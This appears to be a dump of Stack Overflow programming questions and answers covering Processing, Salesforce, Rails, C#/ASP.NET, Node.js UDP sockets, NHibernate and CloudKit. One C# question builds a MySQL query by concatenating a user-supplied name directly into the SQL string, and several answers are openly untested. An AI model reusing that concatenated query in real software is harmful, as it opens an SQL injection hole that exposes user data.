40914729	0	 <p>First, you have to get the instance holding your sketch. That means using the <code>runSketch()</code> function instead of calling <code>main()</code> directly:</p> <pre><code>Game game = new Game(); String[] args = {}; PApplet.runSketch(args, game); </code></pre> <p>Now that you have a reference to your sketch instance, you can use it to get to the internal window. How you do this depends on which renderer you're using, but you can figure it out using a mix of <a href="http://processing.github.io/processing-javadocs/core/" rel="nofollow noreferrer">the Processing JavaDoc</a> and <a href="https://github.com/processing/processing/tree/master/core/src/processing" rel="nofollow noreferrer">the Processing source code</a>.</p> <p>Here's an <strong>untested</strong> example using the default renderer:</p> <pre><code>PSurface surface = game.getSurface(); SmoothCanvas smoothCanvas = (SmoothCanvas)surface.getNative(); JFrame frame = (JFrame) smoothCanvas.getFrame(); </code></pre> <p>Now that you have the parent window, you can do whatever you want with it, including:</p> <pre><code>frame.setDefaultCloseOperation(JFrame.DO_NOTHING_ON_CLOSE); frame.setVisible(false); </code></pre> <p>Like I said I haven't tested this code, and this is going to depend on exactly which renderer you're using, but this process of using the source code and JavaDoc to figure out what's going on under the hood to get to the underlying window is what you have to do.</p>
10838263	0	 <p>1) Assuming you want your key to be unique, have you considered how you will handle this using a standard field? There is no out-of-the-box way to enforce uniqueness with a standard field. There is an <a href="http://success.salesforce.com/ideaView?id=08730000000Bqct" rel="nofollow">Idea Exchange request</a> for such a feature.</p> <p>That said, you can create a custom field that accepts the value from a standard field (via a workflow or trigger), and force the custom field to be unique.</p> <p>You can also just use a custom field and not use the equivelant standard field: per your example. you could easily create a custom field with the label "Email" and simply hide the standard Email field from the page layouts and/or profiles.</p> <p>2) Standard fields definitely have <a href="http://www.salesforce.com/us/developer/docs/api/Content/sforce_api_objects_contact.htm#topic-title" rel="nofollow">API names</a>.</p> <p>3) Are you asking for the definition of a <a href="http://en.wikipedia.org/wiki/Key_field" rel="nofollow">key field</a>?</p>
9663794	0	 <pre><code>var modules = Process.GetCurrentProcess() .Modules .Cast&lt;ProcessModule&gt;() .Select(m=&gt;new {Name = m.ModuleName, Size = m.ModuleMemorySize }) .ToArray(); </code></pre>
20007406	0	Breeze.js and Entity Framework - How do I expose xref table when generating an EDMX from the DB? <p>Breeze.js doesn't handle many to manys, so I need to spell out the 1 to many with xref tables. But how do I force EF to expose those xrefs when generating my EDMX from the database?</p>
22110960	0	wordpress comment spamming even no form in website <p>Hello i have wordpress website i have no comment form in my website on any page </p> <p>but when i see in admin comment section i see lots of unnecessary comments.</p> <p>So how people are able to comment on website?</p> <p>is this from any media image or else i don't know.</p> <p>how ever i have disabled it from some templates which are used in front end </p> <pre><code>&lt;?php comments_template(); ?&gt; </code></pre> <p>what should i do to prevent it, how ever i have i have recently installed plugin and testing if comment appears or not.</p> <pre><code>http://wordpress.org/plugins/disable-comments/ </code></pre>
1984039	0	 <p>You could have your <code>Line</code> object implement the <a href="http://java.sun.com/javase/6/docs/api/java/lang/Comparable.html" rel="nofollow noreferrer"><code>Comparable</code></a> interface. You could then put the comparison logic within the <code>Line</code> class in the <code>compareTo</code> method. The logic there will test whether the slope and the intercept match, and if so return <code>0</code>. Other results could return <code>1</code> or <code>-1</code> to enforce ordering, if you want.</p> <p>Obviously, you don't need to implement this interface to effect your desired results. However, as this is homework, doing so will allow you to play around with some features of the JDK, like using sorted Lists, etc. With a sorted list, for example, you could obviate the need for a nested loop, as you would only need to compare the object in question against one you just removed from the <code>Iterator</code> in the previous iteration to see if you need to add it to an existing linelist or start a new one.</p>
6403317	0	 <p>You could do something like</p> <pre><code>current_user.views.where(:post_id =&gt; post.id) # this may work, not sure current_user.views.where(:post =&gt; post) </code></pre> <p>or</p> <pre><code>post.views.where(:user_id =&gt; current_user.id) # this may work, not sure post.views.where(:user =&gt; current_user) </code></pre>
34728508	0	 <p>There seems to be a character limit for iOS push notifications based on the type of notification. These values can be seen in a similar Stackoverflow question:</p> <p><a href="http://stackoverflow.com/questions/6307748/what-is-the-maximum-length-of-a-push-notification-alert-text">What is the maximum length of a Push Notification alert text?</a></p> <blockquote> <p><strong>Alerts</strong>: Prior to iOS 7 the alerts display limit was 107 characters. Bigger messages were truncated and you would get a "..." at the end of the displayed message. With iOS 7 the limit seems to be increased to 235 characters. If you go over 8 lines your message will also get truncated.</p> <p><strong>Banners</strong>: Banners get truncated around 62 characters or 2 lines.</p> <p><strong>Notification Center</strong>: The messages in notification center get truncated around 110 characters or 4 lines.</p> <p><strong>Lock Screen</strong>: Same as notification center.</p> </blockquote> <p>I would also recommend looking further into the Push Notification documentation provided by Apple:</p> <p><a href="https://developer.apple.com/library/mac/documentation/NetworkingInternet/Conceptual/RemoteNotificationsPG/Chapters/ApplePushService.html" rel="nofollow">Apple Push Notification Service</a></p>
27115609	0	Remove columns in a matrix that have a match with the column name in R <p>I have a matrix in a R script and i want to remove columns in a matrix in R that have a match with the label.</p> <p>For example :</p> <pre><code>A &lt;- matrix(c(4,5,4,4), nrow=1) dimnames(A)= list(c("row1"),c("foo","bar","alfa","foo")) foo bar alfa foo row1 4 5 4 4 </code></pre> <p>I want remove the column foo-4 because match with the label but not the column alfa-4</p> <p>I try</p> <pre><code>duplicated.columns &lt;- duplicated(t(A)) A &lt;- A[, !duplicated.columns] </code></pre> <p>but the result is </p> <pre><code>foo bar 4 5 </code></pre> <p>How can I fix this?</p>
15622618	0	Where should i store current user in node.js? <p>As with almost any web application, I need a way to reference the current user in my node.js app.</p> <p>I have the login/session system working, but I noticed today that when I login to my app in one browser, and view it in another, I can see the same data that I see in the first browser.</p> <p>I am currently storing the information about the current user in a global app.current_user object, but I realize now that this is shared across all requests/sessions because node.js is single-threaded - and therefore, is a bad idea.</p> <p>What would be the correct way to store the reference to the current user? The current user is not just a hash of user data, but a Mongoose model, so I guess storing in a cookie would not be a good idea?</p> <p>BTW - I also store the user's settings and a few more things that I do not want to fetch again each time I do something with the user and their settings (which can happen quite a few times during a single request). I guess you could say I'm caching the current user in memory.</p>
22181178	0	 <p>If I understand you correctly you want the final product to look like this:</p> <p><img src="https://i.stack.imgur.com/TixFy.png" alt="I think this is what you are looking for."></p> <p>The current order of the row you want changed is DEAD MAIN’S CACHE (Text), BENJAMIN (Portrait), and then PROTECT YOUR NECK (Coffee Bean?).</p> <p>Switch DEAD MAIN’S CACHE (Text) and PROTECT YOUR NECK (Coffee Bean?).</p> <p>Remove all references to <code>small</code> and use push and pull to correct the order for large screens.</p> <p>Your current code:</p> <pre><code>&lt;div class="row"&gt; &lt;div class="small-12 small-push-12 large-4 columns"&gt;DEAD MAIN’S CACHE (Text)&lt;/div&gt; &lt;div class="large-4 columns"&gt;BENJAMIN (Portrait)&lt;/div&gt; &lt;div class="small-12 small-push-12 large-4 columns"&gt;PROTECT YOUR NECK (Coffee Bean?)&lt;/div&gt; &lt;/div&gt; </code></pre> <p>My suggestion:</p> <pre><code>&lt;div class="row"&gt; &lt;div class="large-4 large-push-8 columns"&gt;PROTECT YOUR NECK (Coffee Bean?)&lt;/div&gt; &lt;div class="large-4 columns"&gt;BENJAMIN (Portrait)&lt;/div&gt; &lt;div class="large-4 large-pull-8 columns"&gt;DEAD MAIN’S CACHE (Text)&lt;/div&gt; &lt;/div&gt; </code></pre> <p>In essence, design for mobile first and use the push/pull to "fix" larger screen sizes.</p> <p>If I misunderstood your question please let me know.</p> <p>I hope that helps.</p>
5863233	0	 <p>You could use php to load the page into your current page. A lot of people consider iframes bad practice. It would only take a couple lines of php to load the page elements, instead of an iframe, which is sometimes slower.</p> <p>Here is how you would do it....</p> <pre><code>&lt;?php include('file.html'); ?&gt; </code></pre> <p>You would put this line in a and contain it on the page just as you would with the iframe. You can use ajax/js to seamlessly change the content of the html and even load things from a server if you wish.</p>
16616337	0	 <p>It appears to work like this. I still haven't tried saving or retrieving data from the database, but it's error free initializing controllers etc. The rest of the code is like in the tutorial <a href="http://docs.castleproject.org/Windsor.Windsor-tutorial-part-one-getting-Windsor.ashx" rel="nofollow">http://docs.castleproject.org/Windsor.Windsor-tutorial-part-one-getting-Windsor.ashx</a>.</p> <p>NHibernate configuration is in the config file (web.config or nhibernate.cfg.xml).</p> <pre><code>&lt;hibernate-configuration xmlns="urn:nhibernate-configuration-2.2"&gt; &lt;session-factory&gt; ... &lt;/session-factory&gt; &lt;/hibernate-configuration&gt; </code></pre> <p>Then the <code>PersistenceFacility</code> can simply be like this.</p> <pre><code>public class PersistenceFacility : AbstractFacility { protected override void Init() { // NHibernate configures from the &lt;hibernate-configuration&gt; section of a config file var config = new Configuration().Configure(); Kernel.Register( Castle.MicroKernel.Registration.Component.For&lt;ISessionFactory&gt;() .UsingFactoryMethod(_ =&gt; config.BuildSessionFactory()), Castle.MicroKernel.Registration.Component.For&lt;ISession&gt;() .UsingFactoryMethod(k =&gt; k.Resolve&lt;ISessionFactory&gt;().OpenSession()) .LifestylePerWebRequest() ); } } </code></pre> <p>The difference between the tutorial is there is no need for the Fluent configuration and instead using NHibernates <code>Configuration().Configure()</code> works.</p>
32247633	0	not all code paths return a value error on web method <p>I have a web method function has checks if a name exists in the database but I am getting the error:</p> <blockquote> <p>Error 114 'lookups_Creditor.CheckIfNameExists(string)': not all code paths return a value</p> </blockquote> <p>Here is the web method:</p> <pre><code>[WebMethod] public static bool CheckIfNameExists(string Name)//error on this line { try { Creditor.CheckIfNameCreditorExists(Company.Current.CompanyID, Name); } catch (Exception ex) { } } </code></pre> <p>And here is the search function for the sql:</p> <pre><code>public static string CheckIfNameCreditorExists(int CompanyID, string Name) { DataSet ds = new DataSet(); string accNo = ""; string sql = "proc_CheckIfACCreditorExists"; string query = "SELECT c.* " + " FROM Creditor c " + " WHERE c.Company_ID = " + CompanyID + " AND c.Name LIKE '" + Name + "' "; DataTable dt = new DataTable(); using (MySql.Data.MySqlClient.MySqlDataAdapter adapter = new MySql.Data.MySqlClient.MySqlDataAdapter(query, DataUtils.ConnectionStrings["TAT"])) { adapter.SelectCommand.CommandType = CommandType.Text; adapter.SelectCommand.CommandText = query; adapter.Fill(dt); if (dt.Rows.Count &gt; 0) { accNo = Convert.ToString(dt.Rows[0]["AccoutCode"]); } } return accNo; } </code></pre> <p>I am trying to create a method that searches for the name in the database. If the name exists, then return the account code associated with that name. I will the display a message on the screen telling the user that the name already exists on the account ABC.</p>
22054892	0	Rails 4 multiple form (User and Address) <p>I have problem with creating multiple form for User and Address models. When I load page, I don't see address fields.</p> <p>Me source code is below</p> <p>models/address</p> <pre><code>class Address &lt; ActiveRecord::Base has_one :user end </code></pre> <p>models/user</p> <pre><code>class User &lt; ActiveRecord::Base belongs_to :address accepts_nested_attributes_for :address end </code></pre> <p>controllers/users_controller</p> <pre><code>class UsersController &lt; ApplicationController before_filter :require_user, :only =&gt; [:show, :edit, :update] def new @user = User.new @user.build_address end private def user_params params.require(:user).permit( :first_name, :last_name, :email, :password, :password_confirmation, addresses_attributes: [:id, :city] ) end end </code></pre> <p>views/users/new.html.erb</p> <pre><code>&lt;%= form_for @user do |form| %&gt; ... &lt;% form.fields_for :address do |builder| %&gt; &lt;p&gt; &lt;%= builder.label :city %&gt;&lt;br /&gt; &lt;%= builder.text_field :city %&gt; &lt;/p&gt; &lt;% end %&gt; &lt;%= form.submit "Register" %&gt; &lt;% end %&gt; </code></pre> <p>Thank you.</p>
38352993	0	Why Promise.all cannot work after all asynchronous function are completed? <p>Hi I'm new to Js and I'd like to wait some async functions complete before print <code>ni</code>. But the code never print it I cannot understand why. Please help me:(</p> <pre><code>// public function this.run = function() { 'use strict'; let compile_lib = lib_array.map((item) =&gt; { return new Promise(() =&gt; {compileEntry(item);}) }); Promise.all(compile_lib).then(() =&gt; { console.log("ni"); }); } </code></pre>
31400404	0	mvc : convert view model code to viewbag or viewdata <p>I am sending my table data to mvc web page through using viewmodel....my code is below..now i am given the task to send it through viewbag or viewdata. Any passionate programer plz edit the code to send it throgh viewbag or viedata and give a basic overview about how we use them i.e viewmodel or viebag difrntly. Much thanx in advance.</p> <pre><code> @{ ViewBag.Title = "Index"; } &lt;h2&gt;Index&lt;/h2&gt; &lt;div&gt; &lt;br /&gt;&lt;br /&gt; &lt;table style="width: 100%;"&gt; &lt;tr&gt; &lt;th&gt;UserID&lt;/th&gt; &lt;th&gt;UserName&lt;/th&gt; &lt;th&gt;Adress&lt;/th&gt; &lt;/tr&gt; @foreach(var item in ViewData.Model) { &lt;tr&gt; &lt;td&gt;@item.UserID&lt;/td&gt; &lt;td&gt;@item.Username&lt;/td&gt; &lt;td&gt;@item.Adress&lt;/td&gt; &lt;/tr&gt; } &lt;/table&gt; &lt;/div&gt; public class DetailController : Controller { public ActionResult Index() { ViewData.Model = DetailModels.GetData(); return View(); } } public class DetailModels { public static List&lt;User&gt; GetData() { EmployeeEntities context = new EmployeeEntities(); List&lt;User&gt; dt = context.Users.AsEnumerable().ToList(); return dt; } } </code></pre>
18043445	0	 <p>So you basically want to <em>detect</em> whether a file is an ISO file or not, and not so much check the file, to see if it's valid (e.g. incomplete, corrupted, ...) ?</p> <p>There's no easy way to do that and there certainly is not a C# function (that I know of) that can do this.</p> <p>The best way to approach this is to guess the amount of bytes per block stored in the ISO. Guess, or simply try all possible situations one by one, unless you have an associated CUE file that actually stores this information. PS. If the ISO is accompanied by a same-name .CUE file then you can be 99.99% sure that it's an ISO file anyway.</p> <p>Sizes would be 2048 (user data) or 2352 (raw or audio) bytes per block. Other sizes are possible as well !!!! I just mentioned the two most common ones. In case of 2352 bytes per block the user data starts at an offset in this block. Usually 16 or 24 depending on the Mode.</p> <p>Next I would try to detect the CD/DVD file-systems. Assume that the image starts at sector 0 (although you could for safety implement a scan that assumes -150 to 16 for instance).</p> <p>You'll need to look into specifics of ISO9660 and UDF for that. Sectors 16, 256 etc. will be interesting sectors to check !!</p> <p>Bottom line, it's not an easy task to do and you will need to familiarize yourself with optical disc layouts and optical disc file-systems (ISO9660, UDF but possibly also HFS and even FAT on BD).</p> <p>If you're digging into this I strongly suggest to get IsoBuster (<a href="http://www.isobuster.com" rel="nofollow">www.isobuster.com</a>) to help you see what the size per block is, what file systems there are, to inspect the different key blocks etc.</p>
34858358	0	If expression in Qlikview <p>My expression:</p> <p>IF(Min(MONTHYEAR) > Min(MONTHYEAR2) and isnull(FIELD1),FIELD1B,if(Min(MONTHYEAR) > Min(MONTHYEAR2) and len(FIELD1)>0,FIELD1)) as Value</p> <p>I need this: 1.-if(Min(MONTHYEAR) > Min(MONTHYEAR2) and isnull(FIELD1) output FIELD1B 2.-if(Min(MONTHYEAR) > Min(MONTHYEAR2) and isnotnull(FIELD1) output FIELD1</p> <p>What I am doing wrong? Thanks!</p>
29233127	0	 <p>The Control is generic class, to show the decimalplaces you need to make a typecast to convert the Control to the specific type (NumericUpDown).</p> <p>Below code will work:</p> <pre><code>public CustomToolStripControlHost(Control c) : base(c) { NumericUpDown numUpDown = (NumericUpDown)c; numUpDown.DecimalPlaces = 10; } </code></pre>
40356067	1	Sqlalchemy: automatically calculate the value of a column upon another column changed <p>I want the value of a column (<code>is_dangerous_token</code>) to be calculated using a method. Here is what I have gone so far.</p> <pre><code>class PassRecovery(DeclarativeBase): __tablename__ = 'pass_recoveries' id = Column(Integer, primary_key=True) account_email_address = Column(Unicode(255), ForeignKey('accounts.email_address'), index=True) account = relationship('Account', backref=backref('pass_recoveries', cascade='all, delete-orphan')) _is_dangerous_token = Column('is_dangerous_token', Unicode(255)) def _set_is_dangerous_token(self, account_email_address): secret_key = config.get('is_dangerous_key') signer = TimestampSigner(secret_key) self._is_dangerous_token = signer.sign(account_email_address) def _get_is_dangerous_token(self): return self._is_dangerous_token is_dangerous_token = synonym( '_is_dangerous_token', descriptor=property(_get_is_dangerous_token, _set_is_dangerous_token) ) </code></pre> <p>But the problem is that when I create a row by passing in the email_address, the <code>is_dangerous_token</code> is not generated using the code I wrote. The created row only has the <code>id</code> and the relation to the <code>account</code> and <code>is_dangerous_token</code> has no value in the database. thanks for any help</p>
5328493	0	IBAction Doesn't Get Called in Subview <p>I am creating a simple app that let's the user view movies after clicking buttons. The first screen you see is the Main Menu with 2 buttons. One of them sends the user to a sub view which I coded as this in an IBAction method:</p> <pre><code>ViewConroller *nextView = [[ViewController alloc] initWithNibName:@"NextMenu" bundle nil]; [self.view addSubview:[nextView view]]; [nextView release]; </code></pre> <p>This part is fine except that the sub view shows a 20 px bar across the bottom of the previous view. I looked around and none of the solutions like <a href="http://stackoverflow.com/questions/3032773/my-view-is-displaying-y-20-dispite-its-frame-set-to-y-0-after-rotation-it-snaps">this one</a> work for me. This isn't even the main problem. On the sub view, whenever I click a button, the app explodes. The IBAction methods break before even executing a line inside the method. Here, in the goBack IBAction method, I am trying to dismiss the subview and go back to the main menu:</p> <pre><code>[self.view removeFromSuperview]; </code></pre> <p>My connections are correct in my XIB files and everything seems to be in order. The buttons just aren't executing. I'm not sure if it has to do with adding the sub view or what. I have done a lot of searching around on google and this website, but I still can't find a solution. </p> <p>Here is an example of the error I'm getting:</p> <pre><code>Terminating app due to uncaught exception 'NSInvalidArgumentException, reason: '-[__NSCFType goBack:]: unrecognized selector sent to instance 0x5640b70' </code></pre> <p>Hopefully you guys can help me out, this is really quite frustrating. I feel like I've tried everything. Thanks for your time. Let me know if I need to provide any more information. Thanks again.</p>
17989674	0	 <p>best way is </p> <p>on defining css put some class in front (or <code>id</code> if only one time your are using the div). for eg:</p> <pre><code>.container a { text-decoration: none; color:#fff; font-size:15px; font-family: 'Ropa Sans', sans-serif; sans-serif;sans-serif; text-shadow: 1px 1px 1px #000; } </code></pre> <p>now you can use this in a <code>&lt;div class ="container"&gt;&lt;a href="#"&gt;sdfadsf&lt;/a&gt;</code></p>
31904860	0	 <pre><code>$str = sprintf('%o', $octal_value); </code></pre>
10230959	0	Joining two relations with default values <p>I have two views:</p> <pre><code>view1 view2 obj obj attribute +-+ +-+--+ |A| |C|27| +-+ +-+--+ |B| +-+ |C| +-+ </code></pre> <p>How can I combine the values and return the output,</p> <pre><code>obj attribute +-+--+ |A| 0| +-+--+ |B| 0| +-+--+ |C|27| +-+--+ </code></pre> <p>with 0's as default values in SQL? I don't want to use PL/SQL.</p>
24127391	0	 <p>What ended up working was:</p> <pre><code>if (defined('BCC_EMAIL')) { $headers .= 'Bcc: '.BCC_EMAIL.'' . "\r\n"; } </code></pre>
2079146	0	 <p>My <em>.emacs</em> file loads <em>~/.emacs.d/init.el</em>, which defines the following functions, written first for XEmacs, but working well enough for Emacs these days:</p> <pre><code>(defconst user-init-dir (cond ((boundp 'user-emacs-directory) user-emacs-directory) ((boundp 'user-init-directory) user-init-directory) (t "~/.emacs.d/"))) (defun load-user-file (file) (interactive "f") "Load a file in current user's configuration directory" (load-file (expand-file-name file user-init-dir))) </code></pre> <p>Then the rest of the file goes and loads lots of individual files with forms like this:</p> <pre><code>(load-user-file "personal.el") </code></pre> <p>My current set of files is as follows:</p> <ul> <li>personal.el</li> <li>platform.el</li> <li>cygwin.el</li> <li>variables.el</li> <li>paths.el</li> <li>mail-news.el</li> <li>misc-funcs.el</li> <li>bbdb.el</li> <li>calendar.el</li> <li>gnus-funcs.el</li> <li>c-and-java.el</li> <li>lisp.el</li> <li>clojure.el</li> <li>go.el</li> <li>markdown.el</li> <li>sgml-xml.el</li> <li>tex.el</li> <li>spelling.el</li> <li>org.el</li> <li>packages.el</li> <li>fonts.el</li> <li>color-theme.el</li> <li>frame.el</li> <li>server.el</li> <li>keys.el</li> <li>aquamacs.el</li> </ul> <p>Some of them are much more specific in intent than others, as the names suggest. The more fine-grained the files, the easier it is to disable a cluster of forms when you're reinstalling a package or library. This is especially useful when "moving in" to a new system, where you drag your configuration files over but don't yet have all the supporting packages installed.</p>
3765695	0	 <p>You could have him use a dynamic DNS service like dyndns.com or no-ip.com. That way he can setup a domain name like someguy.dyndns.com which would always resolve to his ip (he'll probably need to install a small daemon/service/program to automatically update the IP though). Then you can add a rule into your .htaccess like <code>allow from someguy.dyndns.com</code>.</p>
32093937	0	 <p>there is 2 options one is you need to use namespace otherwise use that way</p> <pre><code>public function index() { return \App\MemberModel::test(); } </code></pre>
22013601	0	Why WalkingFileTree is faster the second time? <p>I am using the function <code>Files.walkfiletree()</code> from <code>java.NIO</code>, I am looking over a really big tree so when I run the app the first time (with first time I mean each time I turn on my computer) the app takes some time but the second time is really fast. why? is some cache working? Can I use this in some permanent way?</p>
17049336	0	 <p>You can try using <a href="http://lucene.apache.org/solr/api-4_0_0-BETA/org/apache/solr/schema/RandomSortField.html" rel="nofollow">RandomSortField</a> which will enable you to sort results randomly.<br> For ordering the for the first few results, you can boost the criteria e.g. <code>bq=name:Peter</code> and try using random as secondary sort e.g. <code>sort = score desc, random_1 desc</code></p>
7334272	0	Multi return statement STRANGE? <p>Today while playing with a De-compiler, i Decompiled the .NET C# Char Class and there is a strange case which i don't Understand</p> <pre><code>public static bool IsDigit(char c) { if (char.IsLatin1(c) || c &gt;= 48) { return c &lt;= 57; } return false; return CharUnicodeInfo.GetUnicodeCategory(c) == 8;//Is this Line Reachable if Yes How does it work ! } </code></pre> <p>i Used <strong>Telerik JustDecompile</strong></p>
13168806	0	Calling a function on a table of async populted data in Meteor <p>I am using Meteor and the jquery data table library. I have a table that I am loading meteor/handlebars using something like this:</p> <pre><code>&lt;table&gt; {{each x}} // code to insert rows of data {{/each}} &lt;/table&gt; </code></pre> <p>I need to call this on the table once it has been fully populated with data to turn it into a sortable table:</p> <pre><code>$('#tableID').dataTable(); </code></pre> <p>It works when I call it from the console once the DOM is fully loaded and the data is in there, but using Template.rendered() doesn't work, nor does listening for changes with .observe since the data is loaded before that particular view is rendered.</p> <p>Where can I run this code to ensure that the data is fully loaded, and if there are updates to the data in the table that it will run again?</p>
18135106	0	Google Maps Api v2 key does not work properly <p>So everything works fine with the key that i generate for me. i wanted to export the apk and did as follows:</p> <ol> <li>generate sha-1</li> <li>get google apikey1, include in manifest(if i run the app from eclipse directly to my phone, the map works)</li> <li>generate keystore1 in debug mode &amp; apk1 </li> <li>generate another sha-1 using keystore1</li> <li>use last sha-1 to get apikey2 (include apikey2 in manifest)</li> <li>generate keystore2 in debug mode and apk2 which i can use to install on any phone and it should work. </li> </ol> <p>but it doesnt work on my phone. What am i doing wrong?</p>
31893360	0	How to free up unused space after deleting documents in ElasticSearch? <p>When deleting records in ElasticSearch, I heard that the disk space is not freed up. So if I only wanted to keep rolling three months of documents in a type, how do I ensure that disk space is reused?</p>
1313883	0	 <p>Based on how CSS selectors work, it should be <code>.bear, .dog</code></p>
26521630	0	 <p>I found this same bug. Worked on all Nexus devices but <strong>all</strong> Samsung devices lost my user changes. I know the below method is <strong>deprecated</strong> but it solved my issue.</p> <pre><code>webview.getSettings().setDatabasePath("/data/data/" + webview.getContext().getPackageName() + "/databases/"); </code></pre>
324323	0	 <p>A view is barely more expensive to the computer than writing out the query longhand. A view can save the programmer/user a lot of time writing the same query out time after time, and getting it wrong, and so on. The view may also be the only way to access the data if views are also used to enforce authorization (access control) on the underlying tables.</p> <p>If the query does not perform well, you need to review how the query is formed, and whether the tables all have the appropriate indexes on them. If your system needs accurate statistics for the optimizer to perform well, have you updated those statistics sufficiently recently?</p> <p>Once upon a long time ago, I came across a system where a query generator had created one query that listed seventeen tables in a single FROM clause, including several LEFT OUTER JOIN of a table with itself. And, in fact, closer scrutiny revealed that several of the 'tables' were in fact multi-table views, and some of these also involved self outer joins, and were themselves involved in self outer joins of the view. To say "<em>ghastly</em>" is an understatement. There was a lot of cleanup possible to improve the performance of that query - eliminating unnecessary outer joins, self joins, and so on. (It actually pre-dated the explicit join notation of SQL-92 - I said a long time ago - so the outer join syntax was DBMS-specific.)</p>
7633965	0	PHP - XML conversion <p>I'm new to stackoverflow and after some searching didn't find an answer to my question so I'm hoping someone can help me out.</p> <p>I have to use this web service method that takes three parameters, a string and two xml params.</p> <p>Below's an example of the code I'm using. The web service method throws an exception, 'Required parameters for method SubmitXml are null.'</p> <p>So I'm guessing it's not receiving any xml on the 2nd and 3rd params. Can anyone give me a hint on how to correctly use the DOM or any other with PHP here? thank you in advance. </p> <pre><code> $soapClient = new SoapClient($this-SOAPURL, array('login'=&gt;$this-&gt;account,'password'=&gt;$this-&gt;password)); $xmlstr ='&lt;xmlbody&gt;'; $xmlstr.='&lt;someXML&gt;Some XML text content here!&lt;/someXML&gt;'; $xmlstr.='&lt;/xmlbody&gt;'; $dom = new DOMDocument(); $dom-&gt;loadXML($xmlstr); $filter = new DOMDocument(); $filter-&gt;loadXML('&lt;_ xmlns=""/&gt;'); print_r ($soapClient-&gt;SubmitXml('userIDString',$dom-&gt;saveXML(), $fil-&gt;saveXML())); </code></pre>
1149878	0	 <p>If the input is read by the script from <code>stdin</code>, just redirect input from a file (using a wrapper script).</p> <pre><code>#! /bin/sh test.sh &lt; data.in </code></pre> <p>If this does not work for you (i.e. you have your script calling some interactive shell program like telnet, you can use <a href="http://expect.nist.gov/" rel="nofollow noreferrer"><code>Expect</code></a> to automate the interaction.</p>
34054141	0	How to transfer a DataTable between pages <p>I have a DataTable at page1.aspx and want page2.aspx to read and storage that DataTable so i can freely use this one too.</p> <p>There is a simple way to do that?</p> <p>It's only for a college homework so nothig too big or complicated, only a DataTable with simple items.</p>
30967702	0	Send UDP data from Windows Service to browser running webpage on same machine <p>Let's say I have the following code running on a Windows service. I have to send data from a Windows service on a machine to a webpage that is open on the same machine(<em>but not hosted on that machine</em>).</p> <pre><code> static void Main(string[] args) { Int32 counter = 0; while (counter &lt; 100) { SendUDP("127.0.0.1", 49320, counter.ToString(), counter.ToString().Length); Thread.Sleep(2000); counter++; } } public static void SendUDP(string hostNameOrAddress, int destinationPort, string data, int count) { IPAddress destination = Dns.GetHostAddresses(hostNameOrAddress)[0]; IPEndPoint endPoint = new IPEndPoint(destination, destinationPort); byte[] buffer = Encoding.ASCII.GetBytes(data); Socket socket = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp); for (int i = 0; i &lt; count; i++) { socket.SendTo(buffer, endPoint); } socket.Close(); System.Console.WriteLine("Sent: " + data); } </code></pre> <p>I have to listen for the data sent to port 49320 and then process it in the browser.</p> <p>I can create a listener on the webpage with Node.js like below, but I have to start this service separately and also install node.js on the client.</p> <p><strong>Is there any alternative to this?</strong> Something more lightweight ?</p> <p>I could also create an AJAX to query a webservice every 2 seconds that would do the same thing as Windows Service, but it seems like a lot of queries sent all the time for nothing.</p> <pre><code>//websocket gateway on 8070 var app = require('http').createServer(handler) , io = require('socket.io').listen(app) , fs = require('fs'); var mysocket = 0; app.listen(8070); function handler (req, res) { fs.readFile(__dirname + '/index.html', function (err, data) { if (err) { res.writeHead(500); return res.end('Error loading index.html'); } res.writeHead(200); res.end(data); }); } io.sockets.on('connection', function (socket) { console.log('index.html connected'); mysocket = socket; }); //udp server on 49320 var dgram = require("dgram"); var server = dgram.createSocket("udp4"); server.on("message", function (msg, rinfo) { console.log("msg: " + msg); if (mysocket != 0) { mysocket.emit('field', "" + msg); mysocket.broadcast.emit('field', "" + msg); } }); server.on("listening", function () { var address = server.address(); console.log("udp server listening " + address.address + ":" + address.port); }); server.bind(49320); </code></pre>
26208978	0	 <p>change the option, then re-initialize:</p> <pre><code>$('ul').circleMenu({direction:'bottom-right'}).circleMenu('init'); </code></pre>
38989100	0	 <p>So to do this I made a unit test, that passes:</p> <pre><code>// // CloudKitLocationsTests.swift // import XCTest import UIKit import CoreLocation import CloudKit class CloudKitLocationsTests: XCTestCase { let locations = [ CLLocation(latitude: 34.4, longitude: -118.33), CLLocation(latitude: 32.2, longitude: -121.33) ] func storeLocationToCloud(location:CLLocation) { let locationRecord = CKRecord(recordType: "location") locationRecord.setObject(location, forKey: "location") let publicData = CKContainer.defaultContainer().publicCloudDatabase publicData.saveRecord(locationRecord) { (records, error) in if error != nil { print("error saving locations: \(error)") } else { print("Locations saved: \(records)") } } } func fetchLocationsFromCloud(completion: (error:NSError?, records:[CKRecord]?) -&gt; Void) { let query = CKQuery(recordType: "Location", predicate: NSPredicate(value: true)) CKContainer.defaultContainer().publicCloudDatabase.performQuery(query, inZoneWithID: nil){ (records, error) in if error != nil { print("error fetching locations") completion(error: error, records: nil) } else { print("found locations: \(records)") completion(error: nil, records: records) } } } func testSavingLocations(){ let testExpectation = expectationWithDescription("saveLocations") var n = 0 for location in self.locations { let locationRecord = CKRecord(recordType: "Location") locationRecord["location"] = location let publicData = CKContainer.defaultContainer().publicCloudDatabase publicData.saveRecord(locationRecord) { (records, error) in if error != nil { print("error saving locations: \(error)") } else { print("Locations saved: \(records)") } n += 1 if n &gt;= self.locations.count { testExpectation.fulfill() } } } // do something then call fulfill (in callback) waitForExpectationsWithTimeout(10){ error in if error != nil { XCTFail("timed out waiting on expectation: \(testExpectation)") } } } func testFetchingLocations(){ let testExpectation = expectationWithDescription("FetchLocations") fetchLocationsFromCloud(){ (error, records) in if error != nil { XCTFail("error fetching locations") } else { XCTAssertGreaterThan(records!.count, 0) } // do something then call fulfill (in callback) testExpectation.fulfill() } waitForExpectationsWithTimeout(10){ error in if error != nil { XCTFail("timed out waiting on expectation: \(testExpectation)") } } } } </code></pre> <p>Note that you had case mismatch Location/location. Also, I am doing a subscript to set the field value.</p> <p>Run this it works. Getting the location from the location manger callback has nothing to do with CloudKit so you should be able to plug this in as you require.</p> <p>One other thing: I did turn on the option to allow you to query on ID field for the Location record type.</p>
